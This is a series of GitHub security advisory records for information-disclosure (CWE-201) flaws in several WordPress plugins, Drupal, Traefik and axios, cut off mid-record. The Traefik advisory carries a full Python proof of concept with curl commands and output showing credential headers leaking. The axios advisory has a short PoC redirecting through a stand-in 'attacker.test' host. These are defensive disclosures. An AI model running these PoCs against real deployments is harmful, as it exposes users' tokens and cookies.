CWE-201

{
  "affected": [],
  "aliases": [
    "CVE-2025-47444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T07:15:28Z",
    "severity": "HIGH"
  },
  "details": "Insertion of Sensitive Information Into Sent Data vulnerability in Liquid Web GiveWP allows Retrieve Embedded Sensitive Data.This issue affects GiveWP: from n/a before 4.6.1.",
  "id": "GHSA-mxrc-jw32-g6pm",
  "modified": "2026-04-01T18:35:48Z",
  "published": "2025-08-12T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/impress-org/givewp/issues/8042"
    },
    {
      "type": "WEB",
      "url": "https://github.com/impress-org/givewp/issues/8042?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/ajax-search-for-woocommerce/vulnerability/wordpress-fibosearch-plugin-1-32-1-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-6-1-pii-sensitive-data-exposure-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-6-1-pii-sensitive-data-exposure-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T20:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Insertion of Sensitive Information Into Sent Data vulnerability in Drupal Advanced Varnish allows Forceful Browsing.This issue affects Advanced Varnish: from 0.0.0 before 4.0.11.",
  "id": "GHSA-p27g-6xm5-rqrf",
  "modified": "2025-01-31T00:30:44Z",
  "published": "2025-01-09T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13269"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2024-033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-52695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-15T21:17:24Z",
    "severity": "HIGH"
  },
  "details": "Unauthenticated Sensitive Data Exposure in ABC Crypto Checkout \u003c= 1.8.2 versions.",
  "id": "GHSA-p395-qfmw-392p",
  "modified": "2026-06-15T21:30:50Z",
  "published": "2026-06-15T21:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52695"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/payerurl-crypto-currency-payment-gateway-for-woocommerce/vulnerability/wordpress-abc-crypto-checkout-plugin-1-8-2-sensitive-data-exposure-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-35690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T13:19:12Z",
    "severity": "MODERATE"
  },
  "details": "Insertion of sensitive information into sent data vulnerability in MarketingFire Widget Options allows Retrieve Embedded Sensitive Data.\n\nThis issue affects Widget Options: from n/a through 4.0.1.",
  "id": "GHSA-p4c7-587m-vg5x",
  "modified": "2026-06-17T18:35:42Z",
  "published": "2026-06-17T18:35:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35690"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/widget-options/vulnerability/wordpress-widget-options-plugin-4-0-1-subscriber-user-meta-data-exposure-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-62126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-31T16:15:45Z",
    "severity": "MODERATE"
  },
  "details": "Insertion of Sensitive Information Into Sent Data vulnerability in Razvan Stanga Varnish/Nginx Proxy Caching allows Retrieve Embedded Sensitive Data.This issue affects Varnish/Nginx Proxy Caching: from n/a through 1.8.3.",
  "id": "GHSA-p564-c3m6-66w8",
  "modified": "2026-04-01T18:36:28Z",
  "published": "2025-12-31T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62126"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/vcaching/vulnerability/wordpress-varnish-nginx-proxy-caching-plugin-1-8-3-sensitive-data-exposure-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/wordpress/plugin/vcaching/vulnerability/wordpress-varnish-nginx-proxy-caching-plugin-1-8-3-sensitive-data-exposure-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.43"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.44"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.14"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.0-rc.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-rc.0"
            },
            {
              "fixed": "3.7.0-rc.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T19:26:33Z",
    "nvd_published_at": "2026-05-15T17:16:46Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium severity information disclosure vulnerability in Traefik\u0027s `errors` (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request\u0027s complete header set, including `Authorization`, `Cookie`, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that `Host` is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the `errors` middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.44\n- https://github.com/traefik/traefik/releases/tag/v3.6.15\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Description\nTraefik v3.6.13\u0027s supported HTTP `errors` middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router `audit-customerrors@docker` pointed to backend service `audit-backend`, attached middleware `audit-leak@docker`, and the middleware was configured with `errors.status=500-599`, `errors.service=audit-error`, and `errors.query=/collect`. A request to the business route caused the backend to return `500`, after which Traefik created a secondary request to the error service and copied the original `Authorization` and `Cookie` headers into that cross-service request.\n\nThis is a normal feature path on an ordinary HTTP route. It does not depend on `api.insecure`, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.\n\nThe root cause is in `pkg/middlewares/customerrors/custom_errors.go:151-160`:\n\n```go\nif len(c.forwardNginxHeaders) \u003e 0 {\n    utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders)\n    pageReq.Header.Set(\"X-Code\", strconv.Itoa(code))\n    pageReq.Header.Set(\"X-Format\", req.Header.Get(\"Accept\"))\n    pageReq.Header.Set(\"X-Original-Uri\", req.URL.RequestURI())\n} else {\n    utils.CopyHeaders(pageReq.Header, req.Header)\n}\n```\n\nUnless the `NginxHeaders` branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at `docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107` only states that `Host` is forwarded by default, so operators are not warned that `Authorization`, `Cookie`, and other authentication material are forwarded as well.\n\n## Steps To Reproduce\n1. Deploy Traefik v3.6.13 with a normal business route that uses the supported `errors` middleware and points `errors.service` to a distinct service. The attached PoC uses `BASE_URL = \"http://127.0.0.1:28080\"`, `API_BASE_URL = \"http://127.0.0.1:28180\"`, `ROUTER_PATH = \"/audit-customerrors\"`, `AUTHORIZATION = \"Bearer audit-secret-token\"`, and `COOKIE = \"sessionid=audit-cookie; theme=dark\"`.\n\n2. Start the two attached helper services `customerrors_backend.py` and `customerrors_error.py`. The backend listens on port `8000` and always returns `500`. The error service listens on port `8000` and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:\n\n```text\ntraefik.http.routers.audit-customerrors.rule=PathPrefix(`/audit-customerrors`)\ntraefik.http.routers.audit-customerrors.entrypoints=web\ntraefik.http.routers.audit-customerrors.priority=100\ntraefik.http.routers.audit-customerrors.service=audit-backend\ntraefik.http.routers.audit-customerrors.middlewares=audit-leak\ntraefik.http.services.audit-backend.loadbalancer.server.port=8000\ntraefik.http.middlewares.audit-leak.errors.status=500-599\ntraefik.http.middlewares.audit-leak.errors.service=audit-error\ntraefik.http.middlewares.audit-leak.errors.query=/collect\n```\n\n3. Confirm that Traefik has loaded the route and middleware. The attached `customerrors_router.json` shows that `audit-customerrors@docker` uses middleware `audit-leak@docker`, and the attached `customerrors_middleware.json` shows that the middleware is enabled with `status` `500-599`, `service` `audit-error`, and `query` `/collect`.\n\n4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:\n\n```bash\ncurl -i \\\n  -H \u0027Authorization: Bearer audit-secret-token\u0027 \\\n  -H \u0027Cookie: sessionid=audit-cookie; theme=dark\u0027 \\\n  http://127.0.0.1:28080/audit-customerrors\n```\n\n5. Observe that the backend returns `500`, Traefik internally requests `/collect` from the error service, and the error service receives the original `Authorization` and `Cookie` headers. The attached `manual_curl_customerrors.txt` response shows the leaked headers directly, and the attached `poc_customerrors_header_leak.output.txt` execution log shows the same result from the automated PoC.\n\n## Recommendations\nThe default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with `utils.CopyHeaders(pageReq.Header, req.Header)`. At minimum, Traefik should strip `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie`, and common custom authentication headers such as `X-Api-Key` before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.\n\n## PoC\nThe main PoC attachment is `poc_customerrors_header_leak.py`.\n\n```python\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\nfrom pathlib import Path\n\n\nTARGET = \"traefik customErrors sensitive header leak\"\nBASE_URL = \"http://127.0.0.1:28080\"\nAPI_BASE_URL = \"http://127.0.0.1:28180\"\nTRAEFIK_CONTAINER = \"traefik-openclaw\"\nNETWORK = \"\"\nDOCKER_IMAGE = \"python:3.12-alpine\"\nBACKEND_CONTAINER = \"traefik-audit-backend\"\nERROR_CONTAINER = \"traefik-audit-error\"\nROUTER_NAME = \"audit-customerrors\"\nROUTER_PATH = \"/audit-customerrors\"\nAUTHORIZATION = \"Bearer audit-secret-token\"\nCOOKIE = \"sessionid=audit-cookie; theme=dark\"\nTIMEOUT_SECONDS = 10\nROUTER_WAIT_SECONDS = 20\n\nEVIDENCE_DIR = Path(__file__).resolve().parent\nBACKEND_SCRIPT = EVIDENCE_DIR / \"customerrors_backend.py\"\nERROR_SCRIPT = EVIDENCE_DIR / \"customerrors_error.py\"\n\n\ndef run_command(command):\n    print(f\"$ {\u0027 \u0027.join(command)}\")\n    completed = subprocess.run(command, capture_output=True, text=True, check=True)\n    stdout = completed.stdout.strip()\n    stderr = completed.stderr.strip()\n    if stdout:\n        print(stdout)\n    if stderr:\n        print(stderr)\n    return stdout\n\n\ndef remove_container(name):\n    subprocess.run([\"docker\", \"rm\", \"-f\", name], capture_output=True, text=True)\n\n\ndef detect_network():\n    if NETWORK:\n        return NETWORK\n\n    output = run_command(\n        [\"docker\", \"inspect\", TRAEFIK_CONTAINER, \"--format\", \"{{json .NetworkSettings.Networks}}\"]\n    )\n    networks = json.loads(output)\n    network_names = sorted(networks.keys())\n    if not network_names:\n        raise RuntimeError(\"No docker network found for Traefik container\")\n    return network_names[0]\n\n\ndef ensure_image():\n    run_command([\"docker\", \"pull\", DOCKER_IMAGE])\n\n\ndef start_error_container(network_name):\n    run_command(\n        [\n            \"docker\", \"run\", \"-d\", \"--name\", ERROR_CONTAINER,\n            \"--network\", network_name,\n            \"-v\", f\"{ERROR_SCRIPT}:/srv/error.py:ro\",\n            \"-l\", \"traefik.enable=true\",\n            \"-l\", f\"traefik.docker.network={network_name}\",\n            \"-l\", \"traefik.http.services.audit-error.loadbalancer.server.port=8000\",\n            DOCKER_IMAGE, \"python\", \"/srv/error.py\",\n        ]\n    )\n\n\ndef start_backend_container(network_name):\n    run_command(\n        [\n            \"docker\", \"run\", \"-d\", \"--name\", BACKEND_CONTAINER,\n            \"--network\", network_name,\n            \"-v\", f\"{BACKEND_SCRIPT}:/srv/backend.py:ro\",\n            \"-l\", \"traefik.enable=true\",\n            \"-l\", f\"traefik.docker.network={network_name}\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.rule=PathPrefix(`{ROUTER_PATH}`)\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.entrypoints=web\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.priority=100\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.service=audit-backend\",\n            \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.middlewares=audit-leak\",\n            \"-l\", \"traefik.http.services.audit-backend.loadbalancer.server.port=8000\",\n            \"-l\", \"traefik.http.middlewares.audit-leak.errors.status=500-599\",\n            \"-l\", \"traefik.http.middlewares.audit-leak.errors.service=audit-error\",\n            \"-l\", \"traefik.http.middlewares.audit-leak.errors.query=/collect\",\n            DOCKER_IMAGE, \"python\", \"/srv/backend.py\",\n        ]\n    )\n\n\ndef fetch_json(url, headers=None):\n    request = urllib.request.Request(url, headers=headers or {}, method=\"GET\")\n    try:\n        response = urllib.request.urlopen(request, timeout=TIMEOUT_SECONDS)\n    except urllib.error.HTTPError as exc:\n        response = exc\n\n    with response:\n        return json.loads(response.read().decode())\n\n\ndef wait_for_router():\n    deadline = time.time() + ROUTER_WAIT_SECONDS\n    while time.time() \u003c deadline:\n        try:\n            data = fetch_json(f\"{API_BASE_URL}/api/rawdata\")\n            if f\"{ROUTER_NAME}@docker\" in data.get(\"routers\", {}):\n                return data\n        except Exception:\n            pass\n        time.sleep(1)\n    raise RuntimeError(\"Timed out waiting for router\")\n\n\ndef trigger_request():\n    headers = {\n        \"Authorization\": AUTHORIZATION,\n        \"Cookie\": COOKIE,\n    }\n    return fetch_json(f\"{BASE_URL}{ROUTER_PATH}\", headers=headers)\n\n\ndef validate(response_json):\n    leaked_headers = response_json.get(\"headers\", {})\n    leaked_auth = leaked_headers.get(\"Authorization\")\n    leaked_cookie = leaked_headers.get(\"Cookie\")\n\n    print(\"Response JSON:\")\n    print(json.dumps(response_json, indent=2, sort_keys=True))\n\n    if leaked_auth != AUTHORIZATION:\n        raise RuntimeError(f\"Authorization not leaked as expected, got: {leaked_auth!r}\")\n    if leaked_cookie != COOKIE:\n        raise RuntimeError(f\"Cookie not leaked as expected, got: {leaked_cookie!r}\")\n\n    print(\"Validation result: error page service received the original Authorization and Cookie.\")\n\n\ndef main():\n    print(f\"TARGET={TARGET}\")\n    network_name = detect_network()\n    print(f\"Using docker network: {network_name}\")\n\n    remove_container(BACKEND_CONTAINER)\n    remove_container(ERROR_CONTAINER)\n\n    try:\n        ensure_image()\n        start_error_container(network_name)\n        start_backend_container(network_name)\n        wait_for_router()\n        response_json = trigger_request()\n        validate(response_json)\n    finally:\n        remove_container(BACKEND_CONTAINER)\n        remove_container(ERROR_CONTAINER)\n        print(\"Cleaned up temporary containers.\")\n\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except subprocess.CalledProcessError as exc:\n        if exc.stdout:\n            print(exc.stdout)\n        if exc.stderr:\n            print(exc.stderr, file=sys.stderr)\n        raise\n```\n\nSupporting backend helper used by the PoC, from `customerrors_backend.py`:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(500)\n        self.send_header(\"Content-Type\", \"text/plain; charset=utf-8\")\n        self.end_headers()\n        self.wfile.write(b\"backend forced 500\\n\")\n\n    def log_message(self, format, *args):\n        return\n\n\ndef main():\n    HTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nSupporting error service helper used by the PoC, from `customerrors_error.py`:\n\n```python\nimport json\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = json.dumps(\n            {\n                \"method\": self.command,\n                \"path\": self.path,\n                \"headers\": {key: value for key, value in self.headers.items()},\n            },\n            indent=2,\n            sort_keys=True,\n        ).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, format, *args):\n        return\n\n\ndef main():\n    HTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Evidence Files\n`customerrors_middleware.json` proves that the active middleware is the supported `errors` middleware and that it was configured with `status` `500-599`, `service` `audit-error`, and `query` `/collect`.\n\n```json\n{\n    \"errors\": {\n        \"status\": [\n            \"500-599\"\n        ],\n        \"service\": \"audit-error\",\n        \"query\": \"/collect\"\n    },\n    \"status\": \"enabled\",\n    \"usedBy\": [\n        \"audit-customerrors@docker\"\n    ],\n    \"name\": \"audit-leak@docker\",\n    \"provider\": \"docker\",\n    \"type\": \"errors\"\n}\n```\n\n`customerrors_router.json` proves that the business router `audit-customerrors@docker` was enabled on the `web` entrypoint, routed to `audit-backend`, and used middleware `audit-leak@docker`.\n\n```json\n{\n    \"entryPoints\": [\n        \"web\"\n    ],\n    \"middlewares\": [\n        \"audit-leak@docker\"\n    ],\n    \"service\": \"audit-backend\",\n    \"rule\": \"PathPrefix(`/audit-customerrors`)\",\n    \"priority\": 100,\n    \"observability\": {\n        \"accessLogs\": true,\n        \"metrics\": true,\n        \"tracing\": true,\n        \"traceVerbosity\": \"minimal\"\n    },\n    \"status\": \"enabled\",\n    \"using\": [\n        \"web\"\n    ],\n    \"name\": \"audit-customerrors@docker\",\n    \"provider\": \"docker\",\n    \"priorityStr\": \"100\"\n}\n```\n\n`manual_curl_customerrors.txt` proves that a direct request through Traefik caused the separate error service to receive the original `Authorization` and `Cookie` values.\n\n```text\nHTTP/1.1 500 Internal Server Error\nContent-Length: 461\nContent-Type: application/json; charset=utf-8\nDate: Mon, 13 Apr 2026 13:09:58 GMT\nServer: BaseHTTP/0.6 Python/3.12.13\n\n{\n  \"headers\": {\n    \"Accept\": \"*/*\",\n    \"Accept-Encoding\": \"gzip\",\n    \"Authorization\": \"Bearer audit-secret-token\",\n    \"Cookie\": \"sessionid=audit-cookie; theme=dark\",\n    \"Host\": \"127.0.0.1:28080\",\n    \"User-Agent\": \"curl/8.7.1\",\n    \"X-Forwarded-Host\": \"127.0.0.1:28080\",\n    \"X-Forwarded-Port\": \"28080\",\n    \"X-Forwarded-Proto\": \"http\",\n    \"X-Forwarded-Server\": \"c231be677a1b\",\n    \"X-Real-Ip\": \"172.19.0.1\"\n  },\n  \"method\": \"GET\",\n  \"path\": \"/collect\"\n}\n```\n\n`poc_customerrors_header_leak.output.txt` is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC\u0027s validation result.\n\n```text\nResponse JSON:\n{\n  \"headers\": {\n    \"Accept-Encoding\": \"identity\",\n    \"Authorization\": \"Bearer audit-secret-token\",\n    \"Cookie\": \"sessionid=audit-cookie; theme=dark\",\n    \"Host\": \"127.0.0.1:28080\",\n    \"User-Agent\": \"Python-urllib/3.14\",\n    \"X-Forwarded-Host\": \"127.0.0.1:28080\",\n    \"X-Forwarded-Port\": \"28080\",\n    \"X-Forwarded-Proto\": \"http\",\n    \"X-Forwarded-Server\": \"c231be677a1b\",\n    \"X-Real-Ip\": \"172.19.0.1\"\n  },\n  \"method\": \"GET\",\n  \"path\": \"/collect\"\n}\nValidation result: error page service received the original Authorization and Cookie.\n```\n\n## Impact\nAny deployment that uses the supported `errors` middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.\n\n\u003c/details\u003e",
  "id": "GHSA-p6hg-qh38-555r",
  "modified": "2026-05-15T23:48:29Z",
  "published": "2026-05-04T19:26:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-p6hg-qh38-555r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41181"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.44"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik\u0027s errors middleware forwards Authorization and Cookie headers to separate error page service"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T14:19:53Z",
    "nvd_published_at": "2026-06-11T17:16:32Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAxios\u2019s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows.\n\nThis affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.\n\n## Impact\n\nA malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.\n\nThe leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.\n\nThe practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy\u2019s own network exposure, authorisation policy, and credential scope.\n\n## Affected Functionality\n\nAffected functionality requires all of the following:\n\n- Axios running in Node.js with the HTTP adapter.\n- An initial `http://` request using an authenticated proxy from `config.proxy` or proxy environment variables.\n- Redirect following enabled.\n- A redirect target for which no proxy applies, such as no matching `HTTPS_PROXY` or a matching `NO_PROXY`.\n- A redirect shape treated as same-host or otherwise not stripped by the redirect layer\u2019s confidential-header handling.\n\nUnaffected functionality includes browser adapters, requests with `maxRedirects: 0`, requests without proxy credentials, and redirect flows where the redirect layer strips `Proxy-Authorization` before axios reconfigures the redirected request.\n\n## Technical Details\n\nIn affected versions, `lib/adapters/http.js` adds `Proxy-Authorization` in `setProxy()` when a proxy with credentials is used.\n\nAxios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, `setProxy()` did not clear a `Proxy-Authorization` header inherited from the previous request options. If `follow-redirects` did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.\n\nThe `1.x` fix in commit `afca61a` changes `setProxy(options, configProxy, location, isRedirect)` so redirect re-invocation removes every case variant of `Proxy-Authorization` before applying proxy settings for the next hop. Regression tests in `tests/unit/adapters/http.test.js` cover no-proxy redirects, `NO_PROXY`, different proxy targets, casing variants, and an end-to-end redirect flow.\n\nThe `0.x` fixed release `0.32.0` includes a backport-style `removeProxyAuthorization()` guard in `lib/adapters/http.js`.\n\n## Proof of Concept of Attack\n\nSafe local outline using dummy credentials:\n\n```js\nprocess.env.HTTP_PROXY = \u0027http://user:pass@127.0.0.1:8080\u0027;\ndelete process.env.HTTPS_PROXY;\n\n// The local HTTP proxy receives this request and returns:\n// HTTP/1.1 302 Found\n// Location: https://attacker.test/final\nawait axios.get(\u0027http://attacker.test/start\u0027);\n```\n\nExpected vulnerable behaviour:\n\n```text\nProxy receives initial request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n\nFinal HTTPS origin receives redirected request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected fixed behaviour:\n\n```text\nFinal HTTPS origin receives no Proxy-Authorization header.\n```\n\n## Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually, ensuring `Proxy-Authorization` is not copied to requests that are not sent through the proxy.\n\nAvoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.\n\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\n\nAxios\u2019s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.\n\nWhen an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin.\n\n### Details\n\nThe issue occurs during a proxy-to-direct transition across redirects.\n\nWhen Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.\n\nIn the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nWhether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent.\n\n#### Root Cause Analysis\n\nBased on code review, Axios appears to create the stale header condition in its Node.js `http` adapter.\n\nIn lib/adapters/http.js:\n- When a proxy is used, Axios adds `Proxy-Authorization` in setProxy().\n- Axios also re-runs proxy resolution after redirects via its redirect hook.\n- However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.\n\nAs a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.\n\nA dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain 